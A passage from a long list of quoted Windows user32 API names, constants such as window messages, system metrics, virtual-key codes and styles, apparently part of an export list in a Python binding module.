'SWP_NOACTIVATE',\n 'DFC_POPUPMENU', 'RDW_NOFRAME', 'WMSZ_TOPLEFT', 'WM_MOUSEMOVE', 'MOD_WIN',\n 'WM_PAINTICON', 'EVENT_SYSTEM_MINIMIZESTART', 'SPI_GETMENUANIMATION',\n 'USER_DEFAULT_SCREEN_DPI', 'WM_POINTERLEAVE', 'EM_GETRECT', 'MIIM_STRING',\n 'DefFrameProc', 'EVENT_OBJECT_LOCATIONCHANGE', 'DSS_HIDEPREFIX', 'SB_CTL',\n 'MOUSEEVENTF_MIDDLEUP', 'CREATEPROCESS_MANIFEST_RESOURCE_ID', 'IDC_CROSS',\n 'MNGO_NOERROR', 'SPI_SETLISTBOXSMOOTHSCROLLING', 'CBN_SELENDCANCEL',\n 'SPI_GETMENUUNDERLINES', 'VK_GAMEPAD_DPAD_LEFT', 'SM_CXICONSPACING',\n 'RID_HEADER', 'WM_NCMBUTTONDBLCLK', 'KLF_SUBSTITUTE_OK', 'DFC_BUTTON',\n 'BSF_FLUSHDISK', 'TOUCH_HIT_TESTING_PROXIMITY_FARTHEST', 'QS_SENDMESSAGE',\n 'EWX_REBOOT', 'MB_SERVICE_NOTIFICATION', 'WM_CTLCOLORSTATIC', 'RT_CURSOR',\n 'RI_MOUSE_WHEEL', 'EM_LINEFROMCHAR', 'UISF_ACTIVE', 'LBS_DISABLENOSCROLL',\n 'SPI_SETDRAGFROMMAXIMIZE', 'DCX_EXCLUDERGN', 'FKF_FILTERKEYSON', 'QS_KEY',\n 'GESTUREVISUALIZATION_ON', 'CBN_SELENDOK', 'IDC_UPARROW', 'HWND_TOP',\n 'LR_CREATEDIBSECTION', 'TOUCH_MASK_PRESSURE', 'WS_GROUP', 'SM_CXCURSOR',\n 'PDC_MODE_ASPECTRATIOPRESERVED', 'RI_MOUSE_BUTTON_1_UP', 'CB_SETTOPINDEX',\n 'APPCOMMAND_MEDIA_CHANNEL_UP', 'SPI_GETFLATMENU', 'RAWINPUT_ALIGN',\n 'WM_MOUSEFIRST', 'COLOR_INACTIVECAPTION', 'SetClassLongPtrW', 'BS_CENTER',\n 'BDR_RAISEDOUTER', 'WM_HSCROLL', 'SM_CYMINSPACING', 'MB_DEFBUTTON4',\n 'MA_ACTIVATEANDEAT', 'SPI_SETSTICKYKEYS', 'PDC_MAPPING_CHANGE', 'AW_HIDE',\n 'WM_POINTERDEVICECHANGE', 'OIC_BANG', 'TOUCHINPUTMASKF_CONTACTAREA',\n 'HSHELL_ACCESSIBILITYSTATE', 'PDC_RESOLUTION', 'SBM_SETSCROLLINFO',\n 'WM_DWMSENDICONICTHUMBNAIL', 'SPI_SETFOCUSBORDERWIDTH', 'LLKHF_INJECTED',\n 'SOUND_SYSTEM_MINIMIZE', 'CDS_SET_PRIMARY', 'SPI_SETICONTITLELOGFONT',\n 'SBM_GETPOS', 'SKF_RSHIFTLOCKED', 'WM_GETOBJECT', 'VK_NAVIGATION_UP',\n 'SKF_HOTKEYACTIVE', 'HWND_MESSAGE', 'POINTER_MOD_SHIFT',\n 'LR_DEFAULTSIZE', 'SPI_SETWINARRANGING', 'InsertMenu', 'WM_CTLCOLORDLG',\n 'IS_POINTER_INRANGE_WPARAM', 'STATE_SYSTEM_MARQUEED', 'LB_SETANCHORINDEX',\n 'CBS_HASSTRINGS', 'POINTER_DEVICE_PRODUCT_STRING_MAX', 'SPI_SETBORDER',\n 'FKF_INDICATOR', 'EM_SETREADONLY', 'OCR_CROSS', 'ESB_DISABLE_RTDN',\n 'FKF_AVAILABLE', 'APPCOMMAND_VOLUME_DOWN', 'WPF_ASYNCWINDOWPLACEMENT',\n 'LBS_MULTICOLUMN', 'WM_MDICREATE', 'WS_CLIPSIBLINGS', 'SM_YVIRTUALSCREEN',\n 'HSHELL_WINDOWDESTROYED', 'SPI_GETFOCUSBORDERHEIGHT', 'SM_MAXIMUMTOUCHES',\n 'VK_GAMEPAD_LEFT_THUMBSTICK_UP', 'OBJID_QUERYCLASSNAMEIDX', 'DST_BITMAP',\n 'WM_GETTITLEBARINFOEX', 'DC_SMALLCAP', 'GET_WHEEL_DELTA_WPARAM', 'IDH_OK',\n 'SB_THUMBPOSITION', 'GWL_EXSTYLE', 'WVR_HREDRAW', 'VK_INSERT', 'VK_PLAY',\n 'FAPPCOMMAND_MASK', 'DWL_MSGRESULT', 'COLOR_ACTIVECAPTION', 'WS_VSCROLL',\n 'COLOR_MENUBAR', 'MSGFLT_RESET', 'DFCS_INACTIVE', 'ALERT_SYSTEM_CRITICAL',\n 'MF_BITMAP', 'SS_BITMAP', 'TOUCH_HIT_TESTING_NONE', 'SM_CXMENUSIZE',\n 'TOUCHPREDICTIONPARAMETERS_DEFAULT_USE_HW_TIMESTAMP', 'GID_ROTATE',\n 'CreateDialogIndirectW', 'MDIS_ALLCHILDSTYLES', 'NID_INTEGRATED_TOUCH',\n 'MA_ACTIVATE', 'MOD_NOREPEAT', 'HSHELL_TASKMAN', 'MFT_MENUBARBREAK',\n 'DI_NORMAL', 'WVR_ALIGNLEFT', 'KF_EXTENDED', 'VK_VOLUME_UP', 'SB_HORZ',\n 'GET_FLAGS_LPARAM', 'APPCOMMAND_MEDIA_STOP', 'CTLCOLOR_DLG', 'WB_LEFT',\n 'RIDEV_INPUTSINK', 'TOUCH_HIT_TESTING_DEFAULT', 'EM_LIMITTEXT', 'GID_END',\n 'DT_SINGLELINE', 'SHOW_OPENNOACTIVATE', 'FAPPCOMMAND_OEM', 'BS_OWNERDRAW',\n 'HELP_MULTIKEY', 'WM_RENDERFORMAT', 'IDC_SIZEWE', 'PBT_APMBATTERYLOW',\n 'SS_EDITCONTROL', 'EnumWindowStations', 'GCL_CBCLSEXTRA', 'SW_RESTORE',\n 'HCBT_DESTROYWND', 'VK_CRSEL', 'GetClassLongPtr', 'GET_APPCOMMAND_LPARAM',\n 'LB_GETHORIZONTALEXTENT', 'SPI_SETACTIVEWNDTRKZORDER', 'DM_GETDEFID',\n 'WS_EX_LAYERED', 'RT_BITMAP', 'MOUSEEVENTF_XUP', 'UOI_HEAPSIZE', 'CF_DIB',\n 'SM_CXEDGE', 'SPI_GETSTICKYKEYS', 'WB_RIGHT', 'WMSZ_TOP',\n 'PBT_APMQUERYSTANDBY', 'RT_DLGINCLUDE', 'TWF_FINETOUCH', 'EN_AFTER_PASTE',\n 'ENDSESSION_CRITICAL', 'APPCOMMAND_DICTATE_OR_COMMAND_CONTROL_TOGGLE',\n 'OCR_SIZEALL', 'STATE_SYSTEM_SELECTABLE', 'FLASHW_TRAY', 'EM_SCROLLCARET',\n 'VK_MEDIA_STOP', 'SPI_GETCARETBROWSING', 'ESB_DISABLE_LEFT', 'BF_ADJUST',\n 'SM_CYFULLSCREEN', 'WM_NCRBUTTONDOWN', 'GESTUREVISUALIZATION_OFF',\n 'EVENT_SYSTEM_DRAGDROPEND', 'WINSTA_ACCESSGLOBALATOMS', 'GR_USEROBJECTS',\n 'MB_APPLMODAL', 'SKF_TWOKEYSOFF', 'BS_BITMAP',\n 'POINTER_MESSAGE_FLAG_FOURTHBUTTON', 'SetUserObjectInformation', 'CF_DIF',\n 'VK_NAVIGATION_LEFT', 'BM_GETIMAGE', 'VK_OEM_102', 'BST_PUSHED', 'WH_MIN',\n 'DFCS_TRANSPARENT', 'CBS_DISABLENOSCROLL', 'SetMenuItemInfo', 'DWL_USER',\n 'WM_SETICON', 'SM_CYSCREEN', 'VK_VOLUME_DOWN', 'VK_DIVIDE', 'SM_CYBORDER',\n 'POINTER_FLAG_INRANGE', 'DLGC_UNDEFPUSHBUTTON', 'PEN_FLAG_NONE', 'VK_ADD',\n 'ES_NUMBER', 'MF_APPEND', 'CONTACTVISUALIZATION_PRESENTATIONMODE',\n 'MAPVK_VK_TO_VSC', 'PENARBITRATIONTYPE_NONE', 'POINTER_FLAG_NEW', 'VK_F5',\n 'SKF_RCTLLOCKED', 'LBN_ERRSPACE', 'PBT_APMQUERYSUSPEND', 'LB_GETTOPINDEX',\n 'MSGFLT_REMOVE', 'QS_POINTER', 'SPI_SETSNAPSIZING', 'WM_NCLBUTTONDOWN',\n 'WS_SYSMENU', 'MNS_CHECKORBMP', 'QS_INPUT', 'ODA_SELECT', 'SM_CYMENUSIZE',\n 'SPI_SETPENWINDOWS', 'UnregisterClass', 'HCF_LOGONDESKTOP', 'WM_TCARD',\n 'HCF_HOTKEYSOUND', 'WVR_ALIGNRIGHT', 'FE_FONTSMOOTHINGCLEARTYPE', 'HTTOP',\n 'LoadCursorFromFile', 'WM_PAINTCLIPBOARD', 'GCL_STYLE', 'SLE_WARNING',\n 'GetClassInfoEx', 'UOI_TYPE', 'GR_GDIOBJECTS', 'CF_RIFF', 'VK_RSHIFT',\n 'SPI_GETSHOWIMEUI', 'SPI_GETTOOLTIPFADE', 'SWP_FRAMECHANGED', 'LLKHF_UP',\n 'APPCOMMAND_NEW', 'LR_LOADTRANSPARENT', 'MKF_INDICATOR', 'GWLP_ID',\n 'GET_POINTERID_WPARAM', 'APPCOMMAND_MEDIA_NEXTTRACK', 'MKF_HOTKEYSOUND',\n 'SPI_GETMOUSECLICKLOCKTIME', 'DCX_NORESETATTRS', 'SBS_SIZEBOX', 'VK_ZOOM',\n 'APPCOMMAND_BROWSER_REFRESH', 'SOUND_SYSTEM_SHUTDOWN', 'WM_MDISETMENU',\n 'BDR_SUNKENINNER', 'SPI_GETMOUSE', 'GCL_WNDPROC', 'DFCS_SCROLLDOWN',\n 'EVENT_CONSOLE_UPDATE_SCROLL', 'STATE_SYSTEM_INVISIBLE', 'LBS_STANDARD',\n 'STATE_SYSTEM_TRAVERSED', 'TPM_TOPALIGN', 'EVENT_SYSTEM_DRAGDROPSTART',\n 'MessageBox', 'DT_BOTTOM', 'DOF_SHELLDATA', 'VK_SHIFT', 'OemToCharBuff',\n 'SM_CXFOCUSBORDER', 'MB_OKCANCEL', 'SPI_GETSNAPSIZING', 'WS_POPUP',\n 'SM_CXBORDER', 'RIDEV_REMOVE', 'MapVirtualKey', 'DCX_PARENTCLIP', 'NMHDR',\n 'WM_CTLCOLORLISTBOX', 'SM_REMOTESESSION', 'RI_MOUSE_HWHEEL', 'MF_CHECKED',\n 'MOUSE_MOVE_NOCOALESCE', 'SM_CYMINIMIZED', 'DFCS_CAPTIONMAX', 'BS_FLAT',\n 'GW_HWNDNEXT', 'GET_SC_WPARAM', 'DT_WORD_ELLIPSIS', 'WM_IME_KEYDOWN',\n 'SM_MOUSEWHEELPRESENT', 'GMMP_USE_DISPLAY_POINTS', 'EM_SETTABSTOPS',\n 'OBM_OLD_DNARROW', 'VkKeyScan', 'CB_SELECTSTRING', 'HTSYSMENU', 'LB_OKAY',\n 'WINABLEAPI', 'GC_PAN_WITH_SINGLE_FINGER_VERTICALLY', 'RDW_ERASE',\n 'HSHELL_MONITORCHANGED', 'APPCOMMAND_MEDIA_FAST_FORWARD', 'COLOR_3DFACE',\n 'SOUND_SYSTEM_WARNING', 'STN_ENABLE', 'RIDI_PREPARSEDDATA', 'EM_SCROLL',\n 'VK_OEM_WSCTRL', 'HCF_HOTKEYAVAILABLE', 'DT_RTLREADING', 'WM_COMPACTING',\n 'SPI_SETDROPSHADOW', 'DFCS_MENUBULLET', 'FindWindow', 'CreateWindowA',\n 'DISP_CHANGE_NOTUPDATED', 'CTLCOLOR_LISTBOX', 'WM_DEVICECHANGE', 'WM_APP',\n 'POINTER_FLAG_UPDATE', 'WINEVENT_SKIPOWNPROCESS', 'DialogBoxIndirectW',\n 'WM_NCMBUTTONDOWN', 'BM_SETSTATE', 'HTMINBUTTON', 'WS_THICKFRAME',\n 'VK_GAMEPAD_DPAD_UP', 'GID_ROLLOVER', 'COLOR_ACTIVEBORDER', 'OBJID_MENU',\n 'KLF_ACTIVATE', 'VK_SPACE', 'MOUSEEVENTF_VIRTUALDESK', 'GetKeyNameText',\n 'WM_ACTIVATEAPP', 'OpenWindowStation', 'VK_SUBTRACT', 'SS_USERITEM',\n 'IDC_ARROW', 'WM_SYSCHAR', 'WM_DPICHANGED_AFTERPARENT', 'EM_SETIMESTATUS',\n 'MAX_LOGICALDPIOVERRIDE', 'EVENT_OBJECT_INVOKED', 'PostMessage', 'VK_F22',\n 'CBS_DROPDOWNLIST', 'HSHELL_HIGHBIT', 'SKF_LSHIFTLOCKED', 'EM_LINELENGTH',\n 'COLOR_GRADIENTINACTIVECAPTION', 'POINTER_FLAG_CANCELED', 'SIF_ALL',\n 'SPI_GETMOUSEVANISH', 'COLOR_3DSHADOW', 'SM_DBCSENABLED', 'HSHELL_FLASH',\n 'VK_GAMEPAD_RIGHT_THUMBSTICK_UP', 'WINSTA_READSCREEN', 'WM_SIZING',\n 'STATE_SYSTEM_FOCUSABLE', 'WINEVENT_OUTOFCONTEXT', 'WH_MOUSE_LL', 'INPUT',\n 'SM_CXPADDEDBORDER', 'LBS_HASSTRINGS', 'VK_OEM_PERIOD', 'WM_NCXBUTTONUP',\n 'EWX_SHUTDOWN', 'CreateDesktop', 'CBS_OEMCONVERT', 'RIDEV_NOLEGACY',\n 'DlgDirSelectEx', 'OBM_UPARROW', 'HTBORDER', 'WM_ENDSESSION', 'LoadImage',\n 'WM_NCRBUTTONUP', 'SPI_GETSCREENREADER', 'GESTURECONFIGMAXCOUNT', 'ACCEL',\n 'MSGF_MENU', 'INPUT_MOUSE', 'CB_MSGMAX', 'HELP_TCARD_DATA', 'DCX_WINDOW',\n 'SWP_HIDEWINDOW', 'RI_MOUSE_BUTTON_5_UP', 'HWND_NOTOPMOST', 'WS_DISABLED',\n 'EM_GETIMESTATUS', 'CONSOLE_CARET_SELECTION', 'SM_CXSIZEFRAME', 'DI_MASK',\n 'WM_MBUTTONDOWN', 'SPI_GETPOWEROFFTIMEOUT', 'COLOR_CAPTIONTEXT', 'VK_F23',\n 'TOUCHEVENTF_PRIMARY', 'DDL_DIRECTORY', 'SPI_GETAUDIODESCRIPTION',\n 'VK_GAMEPAD_DPAD_DOWN', 'SM_CYDOUBLECLK', 'RI_MOUSE_BUTTON_5_DOWN',\n 'NID_EXTERNAL_PEN', 'TOUCH_MASK_ORIENTATION', 'RIM_TYPEMAX', 'COLOR_MENU',\n 'SM_CXMAXTRACK', 'SM_CXMINTRACK', 'MKF_MODIFIERS', 'WM_DRAWITEM', 'GetDC',\n 'WVR_ALIGNTOP', 'PBTF_APMRESUMEFROMFAILURE', 'WH_KEYBOARD', 'BN_UNPUSHED',\n 'WM_PALETTECHANGED', 'EVENT_OBJECT_STATECHANGE', 'WM_CANCELMODE',\n 'MFT_RADIOCHECK', 'DFCS_BUTTON3STATE', 'OBJID_WINDOW', 'WS_CLIPCHILDREN',\n 'DT_EXPANDTABS', 'HBMMENU_POPUP_MAXIMIZE', 'MONITORINFOF_PRIMARY',\n 'WS_EX_LAYOUTRTL', 'WS_EX_NOPARENTNOTIFY', 'EN_CHANGE', 'HTNOWHERE',\n 'EVENT_OBJECT_FOCUS', 'SM_CXDRAG', 'LWA_ALPHA', 'VK_F20',\n 'GetKeyboardLayoutName', 'COLOR_MENUHILIGHT', 'MDITILE_HORIZONTAL',\n 'SM_PENWINDOWS', 'HBMMENU_MBAR_MINIMIZE', 'RIDEV_PAGEONLY', 'MNC_SELECT',\n 'SPI_SETCURSORS', 'DS_LOCALEDIT', 'SPI_GETHIGHCONTRAST', 'VK_APPS',\n 'CopyAcceleratorTable', 'WM_IME_COMPOSITIONFULL', 'HBMMENU_POPUP_RESTORE',\n 'IS_POINTER_FIFTHBUTTON_WPARAM', 'STATE_SYSTEM_PROTECTED', 'BS_LEFTTEXT',\n 'GET_XBUTTON_WPARAM', 'MSGFLTINFO_ALREADYDISALLOWED_FORWND', 'MOD_SHIFT',\n 'RIM_TYPEHID', 'OBM_OLD_LFARROW', 'WM_MBUTTONDBLCLK', 'RIDEV_EXMODE',\n 'MINIMUM_RESERVED_MANIFEST_RESOURCE_ID', 'GID_ROTATE_ANGLE_FROM_ARGUMENT',\n 'CB_GETTOPINDEX', 'VK_OEM_FJ_TOUROKU', 'UISF_HIDEACCEL', 'WA_CLICKACTIVE',\n 'HSHELL_RUDEAPPACTIVATED', 'MIM_BACKGROUND', 'CF_PRIVATELAST', 'IDRETRY',\n 'SSWF_DISPLAY', 'WM_RENDERALLFORMATS', 'WM_TIMECHANGE', 'BST_CHECKED',\n 'TOUCH_MASK_NONE', 'SM_CYVTHUMB', 'WM_POINTERUPDATE', 'CF_OWNERDISPLAY',\n 'CCHILDREN_SCROLLBAR', 'HELP_SETINDEX', 'APPCOMMAND_TREBLE_UP', 'WM_UNDO',\n 'DialogBoxIndirect', 'DOF_PROGMAN', 'MIIM_FTYPE', 'SW_SHOWDEFAULT',\n 'BSF_ALLOWSFW', 'BS_CHECKBOX', 'EM_REPLACESEL', 'APPCOMMAND_VOLUME_MUTE',\n 'TOUCHPREDICTIONPARAMETERS_DEFAULT_RLS_EXPO_SMOOTH_ALPHA', 'DSS_DISABLED',\n 'EVENT_CONSOLE_END_APPLICATION', 'GET_RAWINPUT_CODE_WPARAM', 'WM_GETTEXT',\n 'GetWindowTextLength', 'GUI_POPUPMENUMODE', 'CCHILDREN_TITLEBAR',\n 'GC_PAN_WITH_SINGLE_FINGER_HORIZONTALLY', 'EnumDisplaySettings', 'VK_F21',\n 'POINTER_MESSAGE_FLAG_INCONTACT', 'MSGFLT_ALLOW', 'WINSTA_ENUMDESKTOPS',\n 'APPCOMMAND_UNDO', 'FKF_HOTKEYSOUND', 'VK_HOME', 'TPM_HORIZONTAL',\n 'SPI_SETTOUCHPREDICTIONPARAMETERS', 'DSS_PREFIXONLY', 'CS_CLASSDC',\n 'BSF_NOTIMEOUTIFNOTHUNG', 'BROADCAST_QUERY_DENY', 'BSM_NETDRIVER',\n 'WM_SYNCPAINT', 'RT_ANICURSOR', 'GET_KEYSTATE_WPARAM', 'DS_USEPIXELS',\n 'EVENT_OBJECT_DRAGENTER', '_In_bypassable_reads_or_z_', 'MOD_CONTROL',\n 'SPI_SETPENARBITRATIONTYPE', 'MK_MBUTTON', 'LoadKeyboardLayout', 'VK_F24',\n 'EM_FMTLINES', 'BS_PUSHBUTTON', 'DFCS_MENUARROWRIGHT', 'TME_LEAVE',\n 'SB_PAGEDOWN', 'EVENT_SYSTEM_SOUND', 'RT_STRING', 'HCBT_SYSCOMMAND',\n 'WS_EX_MDICHILD', 'RIDEV_APPKEYS', 'ALERT_SYSTEM_QUERY', 'RI_KEY_MAKE',\n 'HBMMENU_MBAR_RESTORE', 'WTS_REMOTE_DISCONNECT', 'NEXTRAWINPUTBLOCK',\n 'MSGF_MESSAGEBOX', 'SM_CYDLGFRAME', 'CB_MULTIPLEADDSTRING', 'HTRIGHT',\n 'MF_MENUBARBREAK', 'GetMonitorInfo', 'MONITOR_DEFAULTTONEAREST', 'MF_END',\n 'SPI_SETTOOLTIPFADE', 'QS_TIMER', 'WH_MOUSE', 'DFCS_PUSHED', 'MB_RIGHT',\n 'SPI_GETCOMBOBOXANIMATION', 'APPCOMMAND_BROWSER_SEARCH', 'SM_SERVERR2',\n 'HC_SYSMODALOFF', 'WM_STYLECHANGING', 'HSHELL_WINDOWREPLACED', 'SW_HIDE',\n 'VK_BROWSER_HOME', 'MF_DISABLED', 'GWL_WNDPROC', 'MDITILE_SKIPDISABLED',\n 'EVENT_SYSTEM_MINIMIZEEND', 'FKF_CONFIRMHOTKEY', 'WM_SHOWWINDOW',\n 'IS_POINTER_FLAG_SET_WPARAM', 'RI_MOUSE_BUTTON_1_DOWN', 'WinHelp',\n 'WM_CTLCOLORSCROLLBAR', 'COLOR_BTNTEXT', 'DDL_POSTMSGS', 'IDH_HELP',\n 'APPCOMMAND_DWM_FLIP3D', 'DST_ICON', 'CB_LIMITTEXT', 'WMSZ_TOPRIGHT',\n 'TOUCHEVENTF_NOCOALESCE', 'SPI_GETSCREENSAVEACTIVE', 'SM_CYMENUCHECK',\n 'SM_CXSMSIZE', 'SPI_SETTHREADLOCALINPUTSETTINGS', 'SPI_GETDESKWALLPAPER',\n 'GWLP_HWNDPARENT', 'EDS_RAWMODE', 'PostAppMessageA', 'GMDI_GOINTOPOPUPS',\n 'RegisterWindowMessage', 'IDI_EXCLAMATION', 'WM_MDITILE', 'DS_SHELLFONT',\n 'LB_SETTOPINDEX', 'SPI_SETSNAPTODEFBUTTON', 'WM_SETFONT', 'DlgDirList',\n 'SPI_SETFOREGROUNDFLASHCOUNT', 'HELP_PARTIALKEY', 'DFCS_CAPTIONHELP',\n 'SPI_GETWAITTOKILLTIMEOUT', 'CONTACTVISUALIZATION_OFF', 'IDANI_CAPTION',\n 'RI_MOUSE_LEFT_BUTTON_DOWN', 'SPI_GETLOWPOWERTIMEOUT', 'GID_TWOFINGERTAP',\n 'BSF_QUERY', 'EVENT_CONSOLE_UPDATE_REGION', 'WM_PRINTCLIENT', 'RI_KEY_E0',\n 'RDW_INVALIDATE', 'WM_INITMENUPOPUP', 'EDGE_ETCHED', 'GCL_HICONSM',\n 'CB_ERRSPACE', 'VK_NAVIGATION_DOWN', 'DS_NOFAILCREATE', 'WS_MAXIMIZE',\n 'SMTO_ERRORONEXIT', 'KEYEVENTF_SCANCODE', 'LB_SELITEMRANGE', 'RI_KEY_E1',\n 'CBN_EDITCHANGE', 'WM_HANDHELDFIRST', 'SMTO_NOTIMEOUTIFNOTHUNG', 'BF_TOP',\n 'WS_EX_NOACTIVATE', 'CS_DROPSHADOW', 'DSS_RIGHT', 'DESKTOP_CREATEWINDOW',\n 'LBN_SELCHANGE', 'CS_NOCLOSE', 'STATE_SYSTEM_ANIMATED', 'CharUpper',\n 'BSF_SENDNOTIFYMESSAGE', 'RDW_UPDATENOW', 'LR_LOADFROMFILE', 'RT_RCDATA',\n 'IsCharAlphaNumeric', 'LB_GETLOCALE', 'SW_SHOWNOACTIVATE', 'UIS_CLEAR',\n 'BF_DIAGONAL_ENDTOPRIGHT', 'BSM_APPLICATIONS', 'WM_CLIPBOARDUPDATE',\n 'MAX_TOUCH_PREDICTION_FILTER_TAPS', 'SPI_SETCLIENTAREAANIMATION',\n 'SPI_SETFONTSMOOTHINGCONTRAST', 'STM_GETIMAGE', 'WM_SYSDEADCHAR',\n 'ODT_MENU', 'LB_SETLOCALE', 'SS_ETCHEDHORZ', 'GCL_HCURSOR', 'EN_HSCROLL',\n 'CreateMDIWindow', 'SPI_GETMOUSECLICKLOCK', 'WM_NCCALCSIZE', 'SM_CYFRAME',\n 'APPCOMMAND_CLOSE', 'CDS_FULLSCREEN', 'WM_POINTERDEVICEOUTOFRANGE',\n 'BST_UNCHECKED', 'WM_DELETEITEM', 'STATE_SYSTEM_FLOATING', 'WM_CLOSE',\n 'DS_SETFONT', 'MB_ICONEXCLAMATION', 'SPI_GETMOUSESONAR', 'BF_BOTTOMLEFT',\n 'VK_BROWSER_FAVORITES', 'CreateAcceleratorTable', 'OBM_OLD_REDUCE',\n 'MF_HELP', 'ISMEX_NOSEND', 'GetMessage', 'EN_BEFORE_PASTE', 'VK_JUNJA',\n 'DCX_LOCKWINDOWUPDATE', 'SWP_NOREDRAW', 'NF_REQUERY', 'DFCS_CAPTIONCLOSE',\n 'LBN_SETFOCUS', 'GID_PRESSANDTAP', 'WINEVENT_SKIPOWNTHREAD', 'LoadString',\n 'OIC_NOTE', 'POINTER_FLAG_PRIMARY', 'IDH_CANCEL', 'SOUND_SYSTEM_BEEP',\n 'USER_TIMER_MINIMUM', 'DOF_DIRECTORY', 'MNS_MODELESS', 'WM_NCMOUSEMOVE',\n 'PENVISUALIZATION_TAP', 'wsprintf', 'VK_OEM_FJ_JISHO', 'CW_USEDEFAULT',\n 'CF_BITMAP', 'IDCANCEL', 'SM_DIGITIZER', 'SPI_SETGRADIENTCAPTIONS',\n 'SPI_SETDOUBLECLKWIDTH', 'SC_MONITORPOWER', 'RegisterClipboardFormat',\n 'GCLP_HICONSM', 'OBJID_CARET', 'IS_INTRESOURCE', 'SKF_AVAILABLE',\n 'VK_BROWSER_BACK', 'WM_GETDPISCALEDSIZE', 'WINSTA_CREATEDESKTOP',\n 'WM_CONTEXTMENU', 'OBJID_NATIVEOM', 'GA_ROOT', 'CB_DELETESTRING',\n 'SBM_SETRANGE', 'SM_CYSMICON', 'BSM_INSTALLABLEDRIVERS', 'SS_ICON',\n 'POINTER_FLAG_FOURTHBUTTON', 'IDI_WARNING', 'NF_QUERY', 'WM_CREATE',\n 'CTLCOLOR_EDIT', 'SM_SYSTEMDOCKED', 'OCR_SIZENS', 'DT_EDITCONTROL',\n 'LBS_SORT', 'APPCOMMAND_COPY', 'SLE_MINORERROR', 'WM_COPY', 'MF_GRAYED',\n 'PENARBITRATIONTYPE_WIN8', 'PENVISUALIZATION_OFF', 'OBJID_HSCROLL',\n 'POINTER_FLAG_CONFIDENCE', 'VK_OEM_NEC_EQUAL', 'SCF_ISSECURE', 'DFCS_HOT',\n 'WM_ACTIVATE', 'TOUCHEVENTF_INRANGE', 'SB_LINEUP', 'WM_MOUSEHOVER',\n 'MNS_DRAGDROP', 'SKF_LCTLLATCHED', 'HBMMENU_CALLBACK', 'SW_INVALIDATE',\n 'SPI_GETMOUSETRAILS', 'HBMMENU_MBAR_CLOSE_D', 'SPI_SETPENVISUALIZATION',\n 'RIDI_DEVICENAME', 'DT_CALCRECT', 'SPI_SETMOUSEDRAGOUTTHRESHOLD',\n 'GIDC_REMOVAL', 'SPI_SETMENUANIMATION', 'SPI_SETFASTTASKSWITCH', 'IDHELP',\n 'GW_HWNDFIRST', 'STATE_SYSTEM_HOTTRACKED', 'LB_SETHORIZONTALEXTENT',\n 'CB_SETLOCALE', 'NID_INTEGRATED_PEN', 'CF_DIBV5', 'MKF_LEFTBUTTONSEL',\n 'WM_INPUTLANGCHANGEREQUEST', 'SM_RESERVED1', 'PDC_ORIENTATION_270',\n 'SM_RESERVED3', 'SM_RESERVED2', 'GetWindowLongPtr', 'BS_AUTORADIOBUTTON',\n 'IDH_GENERIC_HELP_BUTTON', 'EVENT_OBJECT_IME_HIDE', 'TPM_VERTICAL',\n 'MOUSEEVENTF_LEFTDOWN', 'WM_DRAWCLIPBOARD', 'VK_GAMEPAD_LEFT_SHOULDER',\n 'GWFS_INCLUDE_ANCESTORS', 'SSTF_NONE', 'WM_ENTERMENULOOP', 'WS_DLGFRAME',\n 'IDHOT_SNAPWINDOW', 'WM_TIMER', 'EVENT_SYSTEM_SWITCHER_APPDROPPED',\n 'TOUCHPREDICTIONPARAMETERS_DEFAULT_RLS_LAMBDA_MIN', 'SBS_BOTTOMALIGN',\n 'STATE_SYSTEM_ALERT_HIGH', 'PBT_APMRESUMECRITICAL', 'WM_ENTERSIZEMOVE',\n 'DISP_CHANGE_BADDUALVIEW', 'ARW_BOTTOMLEFT', 'BSF_LUID', 'WM_SYSKEYDOWN',\n 'SSGF_NONE', 'GUI_16BITTASK', 'IS_POINTER_THIRDBUTTON_WPARAM', 'VK_KANA',\n 'HELP_FINDER', 'PBT_POWERSETTINGCHANGE', 'WVR_VALIDRECTS', 'RT_PLUGPLAY',\n 'GUI_SYSTEMMENUMODE', 'HCBT_SETFOCUS', 'HBMMENU_POPUP_CLOSE', 'OCR_WAIT',\n 'IDI_APPLICATION', 'QS_MOUSEBUTTON', 'POINTER_FLAG_CAPTURECHANGED',\n 'SPI_SETMOUSEHOVERWIDTH', 'SPI_GETCARETWIDTH', 'COLOR_WINDOW', 'WM_SIZE',\n 'WM_UNICHAR', 'COLOR_BACKGROUND', 'FindWindowEx', 'EM_SETMARGINS',\n 'EM_LINESCROLL', 'SKF_TRISTATE', 'MFT_SEPARATOR', 'WS_EX_RIGHTSCROLLBAR',\n 'SPI_SETNONCLIENTMETRICS', 'SPI_GETMOUSEHOVERHEIGHT', 'WM_COMMNOTIFY',\n 'EVENT_OBJECT_SELECTIONREMOVE', 'SPI_GETLOWPOWERACTIVE', 'SIZENORMAL',\n 'SPI_SETKEYBOARDPREF', 'PDC_MODE_CENTERED', 'EVENT_OBJECT_DESTROY',\n 'VK_OEM_AUTO', 'DFCS_BUTTONRADIO', 'SM_MOUSEPRESENT', 'POINTSTOPOINT',\n 'EVENT_OBJECT_DRAGCOMPLETE', 'WM_XBUTTONUP', 'BS_TYPEMASK', 'WM_INPUT',\n 'LBS_WANTKEYBOARDINPUT', 'MKF_RIGHTBUTTONSEL', 'TOUCH_HIT_TESTING_CLIENT',\n 'WM_ENABLE', 'WM_CTLCOLORMSGBOX', 'SPI_GETMOUSEHOVERWIDTH', 'SM_TABLETPC',\n 'SendMessageTimeout', 'EVENT_OBJECT_NAMECHANGE', 'SC_SEPARATOR', 'HTZOOM',\n 'WM_NCHITTEST', 'SERKF_AVAILABLE', 'SKF_RALTLOCKED', 'OBM_UPARROWD',\n 'SOUND_SYSTEM_QUESTION', 'STATE_SYSTEM_VALID', 'POINTER_MOD_CTRL',\n 'MK_LBUTTON', 'SM_CXVSCROLL', 'CB_GETDROPPEDSTATE', 'HTVSCROLL', 'SW_MAX',\n 'MSGFLTINFO_ALREADYALLOWED_FORWND', 'MIIM_SUBMENU', 'ODT_BUTTON',\n 'CB_GETLBTEXTLEN', 'SM_SLOWMACHINE', 'APPCOMMAND_HELP', 'WM_HELP',\n 'EM_ENABLEFEATURE', 'DT_NOFULLWIDTHCHARBREAK', 'MF_CHANGE', 'SC_HOTKEY',\n 'STATE_SYSTEM_EXPANDED', 'COLOR_3DHILIGHT', 'VK_ICO_CLEAR', 'OBM_MNARROW',\n 'WM_DWMWINDOWMAXIMIZEDCHANGE', 'WM_IME_SETCONTEXT', 'SIF_DISABLENOSCROLL',\n 'SSF_INDICATOR', 'GET_MOUSEORKEY_LPARAM', 'DST_PREFIXTEXT', 'BDR_RAISED',\n 